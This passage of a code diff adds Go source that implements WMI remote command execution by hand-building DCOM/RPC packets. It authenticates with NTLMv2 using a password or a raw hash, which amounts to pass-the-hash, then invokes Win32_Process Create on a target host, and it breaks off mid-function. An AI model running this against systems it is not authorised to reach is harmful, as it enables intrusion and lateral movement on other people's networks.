+ rpce.NewPSyntaxID(uuid.IID_IRemUnknown2, 0),
+ []rpce.PSyntaxID{
+ rpce.NewPSyntaxID(uuid.NDRTransferSyntax_V2, 2),
+ },
+ ))
+
+ ctxList.AddContext(rpce.NewPcontextElem(
+ 1,
+ rpce.NewPSyntaxID(uuid.IID_IRemUnknown2, 0),
+ []rpce.PSyntaxID{
+ rpce.NewPSyntaxID(uuid.NDR64TransferSyntax, 0x01000000),
+ },
+ ))
+
+ ctxList.AddContext(rpce.NewPcontextElem(
+ 0x0200, //unsure of the signifigance of this value..
+ rpce.NewPSyntaxID(uuid.IID_IRemUnknown2, 0),
+ []rpce.PSyntaxID{
+ rpce.NewPSyntaxID(uuid.BindTimeFeatureReneg, 0x01000000),
+ },
+ ))
+
+ flags := ntlmssp.NTLMSSP_NEGOTIATE_UNICODE | ntlmssp.NTLM_NEGOTIATE_OEM |
+ ntlmssp.NTLMSSP_REQUEST_TARGET | ntlmssp.NTLMSSP_NEGOTIATE_SIGN |
+ ntlmssp.NTLMSSP_NEGOTIATE_LM_KEY | ntlmssp.NTLMSSP_NEGOTIATE_NTLM |
+ ntlmssp.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlmssp.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY |
+ ntlmssp.NTLMSSP_NEGOTIATE_VERSION | ntlmssp.NTLMSSP_NEGOTIATE_128 |
+ ntlmssp.NTLMSSP_NEGOTIATE_56
+ n := ntlmssp.NewSSPNegotiate(flags)
+
+ auth := rpce.NewAuthVerifier(
+ rpce.RPC_C_AUTHN_WINNT,
+ rpce.RPC_C_AUTHN_LEVEL_PKT,
+ 0,
+ n.Bytes(),
+ )
+ bindPacket := rpce.NewBindReq(2, ctxList, &auth)
+
+ recv := make([]byte, 2048)
+ e.tcpClient.Write(bindPacket.Bytes())
+ e.tcpClient.Read(recv)
+
+ rsp := rpce.ParseBindAck(recv)
+
+ //e.assGroup = binary.LittleEndian.Uint32(recv[20:24])
+ e.assGroup = rsp.AssocGroupID
+ challengeInfo := ntlmssp.ParseSSPChallenge(rsp.AuthVerifier.AuthValue)
+ ntlmChal := challengeInfo.ServerChallenge[:]
+ deets := challengeInfo.Payload.GetTargetInfoBytes()
+ timebytes := challengeInfo.Payload.GetTimeBytes()
+
+ hostname := e.config.clientHostname
+
+ domain := []byte(e.config.domain)
+ uniuser, err := toUnicodeS(e.config.username)
+ if err != nil {
+ return err
+ }
+ username := []byte(uniuser)
+
+ key1, err := ntlmssp.NTLMV2Hash(e.config.password, string(e.config.hash), e.config.username, string(e.config.domain))
+ if err != nil {
+ return err
+ }
+
+ ntlmResp := ntlmssp.NTLMV2Response(key1, ntlmChal, timebytes, deets)
+ sspResp := ntlmssp.NewSSPAuthenticate(ntlmResp, domain, username, []byte(hostname), nil).Bytes()
+ packetAuth := rpce.NewAuth3Req(3, rpce.RPC_C_AUTHN_LEVEL_PKT, sspResp)
+
+ e.tcpClient.Write(packetAuth.Bytes())
+
+ packetRemQ := NewPacketDCOMRemQueryInterface(e.causality, e.ipid, uuid.IID_IWbemLoginClientID[:])
+
+ //the empty value at the end is a placeholder for the message signature struct, to ensure the length offsets are all correct.
+ authv := rpce.NewAuthVerifier(0x0a, 4, 0, make([]byte, 16))
+
+ packetRPC := rpce.NewRequestReq(2, 0, 3, append(e.objectUUID, packetRemQ.Bytes()...), &authv)
+ packetRPC.CommonHead.PFCFlags = 0x83
+
+ e.clientSigningKey = ntlmssp.GenerateClientSigningKey(key1, ntlmResp)
+
+ messagesig := ntlmssp.NewMessageSignature(packetRPC.AuthBytes(), e.clientSigningKey, 0)
+
+ authv.AuthValue = messagesig.Bytes()
+ wmiClientSend := packetRPC.Bytes()
+ e.tcpClient.Write(wmiClientSend)
+ recv3 := make([]byte, 2048)
+ e.tcpClient.Read(recv3)
+
+ resp := rpce.ParseResponse(recv3)
+
+ if resp.CommonHead.PacketType == 3 {
+ pf := rpce.ParseFault(recv3)
+ //log maybe
+ //e.log.Error("Error: ", pf.StatusString(), pf.Status)
+ return errors.New(pf.StatusString())
+ }
+
+ e.objUUID2 = make([]byte, 16)
+ if resp.CommonHead.PacketType == 2 {
+ oxidInd := bytes.Index(resp.StubData, e.oxid)
+ e.objUUID2 = resp.StubData[oxidInd+16 : oxidInd+32]
+ e.stage = "AlterContext"
+ } else {
+ return fmt.Errorf("Did not receive expected value. Wanted 2, got %d", recv3[2])
+ }
+
+ return nil
+
+}
+
+func (e *wmiExecer) Exec(command string) error {
+
+ sequence := uint32(0)
+
+ var stubData, ipid2 []byte
+ var callID uint32
+ var contextID, opNum uint16
+ var rqUUID []byte
+ resp := make([]byte, 2048)
+ for e.stage != "exit" {
+ if resp[2] == 3 {
+ pf := rpce.ParseFault(resp)
+ //e.log.Error("Error: ", pf.StatusString(), pf.Status)
+ return errors.New(pf.StatusString())
+ }
+ switch e.stage {
+ case "AlterContext":
+ acID := uint32(0)
+ acConID := uint16(0)
+ acUUID := uuid.UUID{}
+
+ switch sequence {
+ case 0:
+ acID = 3
+ acConID = 2
+ acUUID = uuid.IID_IWbemLoginClientID
+ case 1:
+ acID = 4
+ acConID = 3
+ acUUID = uuid.CLSID_WbemLevel1Login
+
+ case 6:
+ acID = 9
+ acConID = 4
+ acUUID = uuid.IID_IWbemServices
+ }
+
+ ctxList := rpce.NewPcontextList()
+ ctxList.AddContext(rpce.NewPcontextElem(
+ acConID,
+ rpce.NewPSyntaxID(acUUID, 0),
+ []rpce.PSyntaxID{
+ rpce.NewPSyntaxID(uuid.NDRTransferSyntax_V2, 2),
+ },
+ ))
+ packetRPC := rpce.NewAlterContextReq(
+ acID,
+ e.assGroup,
+ ctxList,
+ nil)
+ e.tcpClient.Write(packetRPC.Bytes())
+ resp = make([]byte, 2048)
+ e.tcpClient.Read(resp)
+ e.stage = "Request"
+
+ case "Request":
+ nextStage := "Request"
+ switch sequence {
+ case 0:
+ sequence = 1
+ callID = 3
+ contextID = 2
+ opNum = 3
+ rqUUID = e.objUUID2
+ s, ee := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewDecoder().String(e.config.clientHostname)
+ if ee != nil {
+ return ee
+ }
+
+ hnLen := uint32(len(s) + 1)
+ hnBytes := append([]byte(e.config.clientHostname), 0, 0)
+ type setClientInfo struct {
+ VersionMajor uint16
+ VersionMinor uint16
+ }
+ stubData = []byte{
+ 0x05, 0x00, //version major
+ 0x07, 0x00, //version minor
+ 0x00, 0x00, 0x00, 0x00, //flags
+ 0x00, 0x00, 0x00, 0x00, //reserved
+ }
+ stubData = append(stubData, e.causality...) //causality (obviously), which is a 16 byte value
+
+ //extent array? https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/87f24bd8-83dd-49a5-a9e8-bfb1b023abc0
+ stubData = append(stubData,
+ 0, 0, 0, 0, //size?
+ 0, 0, 2, 0) // ??? reserved??
+ hnLenByte := make([]byte, 4)
+ binary.LittleEndian.PutUint32(hnLenByte, hnLen)
+ stubData = append(stubData, hnLenByte...) //32bit length (assume this is maxlen)
+ stubData = append(stubData, 0, 0, 0, 0) //32 bit nulls (pointer to first value)
+ stubData = append(stubData, hnLenByte...) //32bit length (assume this is actuallen)
+ stubData = append(stubData, hnBytes...) //actual name
+ //processID
+ pid := []byte{0, 0}
+ rand.Read(pid)
+ stubData = append(stubData, pid...) //pid (ofc)
+ stubData = append(stubData, 0, 0, 0, 0, 0, 0) //6 bytes of null?
+ nextStage = "AlterContext"
+
+ case 1:
+ sequence = 2
+ callID = 4
+ contextID = 3
+ rqUUID = e.ipid
+ stubData = []byte{0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
+ stubData = append(stubData, e.causality...)
+ stubData = append(stubData, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
+
+ case 2:
+ sequence = 3
+ callID = 5
+ contextID = 3
+ opNum = 6
+ rqUUID = e.ipid
+ wminameLen := uint32(len(e.targetHostname) + 14)
+ hnLenByte := make([]byte, 4)
+ binary.LittleEndian.PutUint32(hnLenByte, wminameLen)
+ wmiNameStr, err := toUnicodeS("\\\\" + e.targetHostname + "\\root\\cimv2")
+ if err != nil {
+ return err
+ }
+ wmiNameUni := []byte(wmiNameStr)
+ wmiNameUni = append(wmiNameUni, 0, 0)
+
+ stubData = []byte{0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
+ stubData = append(stubData, e.causality...)
+ stubData = append(stubData, 0, 0, 0, 0, 0, 0, 2, 0)
+ stubData = append(stubData, hnLenByte...)
+ stubData = append(stubData, 0, 0, 0, 0)
+ stubData = append(stubData, hnLenByte...)
+ stubData = append(stubData, wmiNameUni...)
+ stubData = append(stubData, 0x04, 0x00, 0x02, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x55, 0x00, 0x53, 0x00, 0x2c, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
+
+ case 3:
+ sequence = 4
+ contextID = 0
+ callID = 6
+ opNum = 5
+ rqUUID = e.objectUUID
+ oxidID := bytes.Index(resp, e.oxid)
+ ipid2 = resp[oxidID+16 : oxidID+32]
+ pktMemRelease := NewPacketDCOMMemRelease(e.causality, e.objUUID2, e.ipid)
+ stubData = pktMemRelease.Bytes()
+
+ case 4:
+ sequence = 5
+ contextID = 0
+ callID = 7
+ opNum = 3
+ rqUUID = e.objectUUID
+ remqry := NewPacketDCOMRemQueryInterface(e.causality, ipid2, []byte{0x9e, 0xc1, 0xfc, 0xc3, 0x70, 0xa9, 0xd2, 0x11, 0x8b, 0x5a, 0x00, 0xa0, 0xc9, 0xb7, 0xc9, 0xc4})
+ stubData = remqry.Bytes()
+
+ case 5:
+ sequence = 6
+ callID = 8
+ contextID = 0
+ opNum = 3
+ rqUUID = e.objectUUID
+ nextStage = "AlterContext"
+ remqry := NewPacketDCOMRemQueryInterface(e.causality, ipid2, []byte{0x83, 0xb2, 0x96, 0xb1, 0xb4, 0xba, 0x1a, 0x10, 0xb6, 0x9c, 0x00, 0xaa, 0x00, 0x34, 0x1d, 0x07})
+ stubData = remqry.Bytes()
+
+ case 6:
+ sequence = 7
+ callID = 9
+ contextID = 4
+ opNum = 6
+ rqUUID = ipid2
+ stubData = []byte{0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
+ stubData = append(stubData, e.causality...)
+ stubData = append(stubData, 0x00, 0x00, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x0d, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5f, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
+
+ case 7:
+ sequence = 8
+ callID = 0x10
+ contextID = 4
+ opNum = 6
+ rqUUID = ipid2
+ stubData = []byte{0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
+ stubData = append(stubData, e.causality...)
+ stubData = append(stubData, 0x00, 0x00, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x0d, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5f, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
+
+ default:
+ if sequence < 8 {
+ return fmt.Errorf("Undefined behaviour in Exec Request. Expected sequence < 8, got %d", sequence)
+ }
+
+ sequence = 9
+ contextID = 4
+ callID = 0x0b
+ opNum = 0x18
+ rqUUID = ipid2
+
+ stubLen := uint16(len(command) + 1769)
+ stubLen2 := uint16(len(command) + 1727)
+ stubLen3 := uint16(len(command) + 1713)
+ commLen := uint16(len(command) + 93)
+ commLen2 := uint16(len(command) + 16)
+
+ stubLenB := make([]byte, 2)
+ binary.LittleEndian.PutUint16(stubLenB, stubLen)
+ stubLen2B := make([]byte, 2)
+ binary.LittleEndian.PutUint16(stubLen2B, stubLen2)
+
+ stubLen3B := make([]byte, 2)
+ binary.LittleEndian.PutUint16(stubLen3B, stubLen3)
+ commLenB := make([]byte, 2)
+ binary.LittleEndian.PutUint16(commLenB, commLen)
+ commLen2B := make([]byte, 2)
+ binary.LittleEndian.PutUint16(commLen2B, commLen2)
+
+ commandBytes := []byte(command)
+ if len(command)%4 == 0 {
+ commandBytes = append(commandBytes, 0, 0, 0, 0)
+ } else {
+ commandBytes = append(commandBytes, make([]byte, len(command)%4)...)
+ }
+
+ stubData = []byte{0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
+ stubData = append(stubData, e.causality...)
+ stubData = append(stubData, 0x00, 0x00, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x0d, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5f, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x06, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x63, 0x00, 0x72, 0x00, 0x65, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00)
+ stubData = append(stubData, stubLenB...)
+ stubData = append(stubData, 0, 0)
+ stubData = append(stubData, stubLenB...)
+ stubData = append(stubData, 0x00, 0x00, 0x4d, 0x45, 0x4f, 0x57, 0x04, 0x00, 0x00, 0x00, 0x81, 0xa6, 0x12, 0xdc, 0x7f, 0x73, 0xcf, 0x11, 0x88, 0x4d, 0x00, 0xaa, 0x00, 0x4b, 0x2e, 0x24, 0x12, 0xf8, 0x90, 0x45, 0x3a, 0x1d, 0xd0, 0x11, 0x89, 0x1f, 0x00, 0xaa, 0x00, 0x4b, 0x2e, 0x24, 0x00, 0x00, 0x00, 0x00)
+ stubData = append(stubData, stubLen2B...)
+ stubData = append(stubData, 0x00, 0x00, 0x78, 0x56, 0x34, 0x12)
+ stubData = append(stubData, stubLen3B...)
+ stubData = append(stubData, 0x00, 0x00, 0x02, 0x53, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x15, 0x01, 0x00, 0x00, 0x73, 0x01, 0x00, 0x00, 0x76, 0x02, 0x00, 0x00, 0xd4, 0x02, 0x00, 0x00, 0xb1, 0x03, 0x00, 0x00, 0x15, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x12, 0x04, 0x00, 0x80, 0x00, 0x5f, 0x5f, 0x50, 0x41, 0x52, 0x41, 0x4d, 0x45, 0x54, 0x45, 0x52, 0x53, 0x00, 0x00, 0x61, 0x62, 0x73, 0x74, 0x72, 0x61, 0x63, 0x74, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x49, 0x6e, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x5e, 0x00, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x94, 0x00, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x33, 0x32, 0x41, 0x50, 0x49, 0x7c, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x7c, 0x6c, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x20, 0x00, 0x00, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x5e, 0x00, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0xca, 0x00, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00, 0x49, 0x44, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x59, 0x01, 0x00, 0x00, 0x5e, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0xca, 0x00, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x11, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x00, 0x00, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x85, 0x01, 0x00, 0x00, 0x00, 0x49, 0x6e, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x85, 0x01, 0x00, 0x00, 0xac, 0x01, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0xe2, 0x01, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x33, 0x32, 0x41, 0x50, 0x49, 0x7c, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x7c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x7c, 0x6c, 0x70, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x20, 0x00, 0x00, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x85, 0x01, 0x00, 0x00, 0xac, 0x01, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x2b, 0x02, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0xda, 0x01, 0x00, 0x00, 0x00, 0x49, 0x44, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0xba, 0x02, 0x00, 0x00, 0xac, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x2b, 0x02, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0xda, 0x01, 0x00, 0x00, 0x72, 0x02, 0x00, 0x00, 0x11, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x00, 0x6f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x00, 0x00, 0x49, 0x6e, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x00, 0x16, 0x03, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x03, 0x00, 0x00, 0x00, 0x57, 0x4d, 0x49, 0x7c, 0x57, 0x69, 0x6e, 0x33, 0x32, 0x5f, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x00, 0x00, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x00, 0x16, 0x03, 0x00, 0x00, 0x02, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x66, 0x03, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0x44, 0x03, 0x00, 0x00, 0x00, 0x49, 0x44, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0xf5, 0x03, 0x00, 0x00, 0x16, 0x03, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0xff, 0xff, 0x66, 0x03, 0x00, 0x00, 0x02, 0x08, 0x20, 0x00, 0x00, 0x44, 0x03, 0x00, 0x00, 0xad, 0x03, 0x00, 0x00, 0x11, 0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x6f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3a, 0x57, 0x69, 0x6e, 0x33, 0x32, 0x5f, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70)
+ stubData = append(stubData, make([]byte, 501)...)
+ stubData = append(stubData, commLenB...)
+ stubData = append(stubData, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01)
+ stubData = append(stubData, commLen2B...)
+ stubData = append(stubData, 0x00, 0x80, 0x00, 0x5f, 0x5f, 0x50, 0x41, 0x52, 0x41, 0x4d, 0x45, 0x54, 0x45, 0x52, 0x53, 0x00, 0x00)
+ stubData = append(stubData, commandBytes...)
+ stubData = append(stubData, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
+ if len(stubData) > 5500 {
+ return fmt.Errorf("Long request packet not yet implemented. Needed below 5500, got %d", len(stubData))
+ }
+ nextStage = "Result"
+ }
+
+ authv := rpce.NewAuthVerifier(0x0a, 4, 0, make([]byte, 16))
+ packetRPC := rpce.NewRequestReq(callID, contextID, opNum, append(rqUUID, stubData...), &authv)
+ packetRPC.CommonHead.PFCFlags = 0x83
+
+ messagesig := ntlmssp.NewMessageSignature(packetRPC.AuthBytes(), e.clientSigningKey, sequence)
+ authv.AuthValue = messagesig.Bytes()
+
+ wmiSend := packetRPC.Bytes()
+ e.tcpClient.Write(wmiSend)
+
+ //reads 16 bytes
+ hdr := rpce.Response{}
+ for hdr.CommonHead.PFCFlags&rpce.PFCLastFrag == 0 {
+ hbuff := make([]byte, 16)
+ n, err := e.tcpClient.Read(hbuff)
+ hdr = rpce.ParseResponse(hbuff)
+ buff := make([]byte, hdr.CommonHead.FragLength-16)
+ n, err = e.tcpClient.Read(buff)
+ n = n + 16
+ resp = append(hbuff, buff...)
+ if err != nil && err == io.EOF {
+ //e.log.Error("Conn closed BRUH")
+ return err
+ }
+
+ if uint16(n) < hdr.CommonHead.FragLength {
+ buff := make([]byte, hdr.CommonHead.FragLength-uint16(n))
+ e.tcpClient.Read(buff)
+ resp = append(resp, buff...)
+ }
+ }
+ if nextStage == "Result" {
+ if len(resp) > 1145 {
+ //e.log.Info("PID? ", binary.LittleEndian.Uint16(resp[1141:1145]))
+ return nil
+ } else {
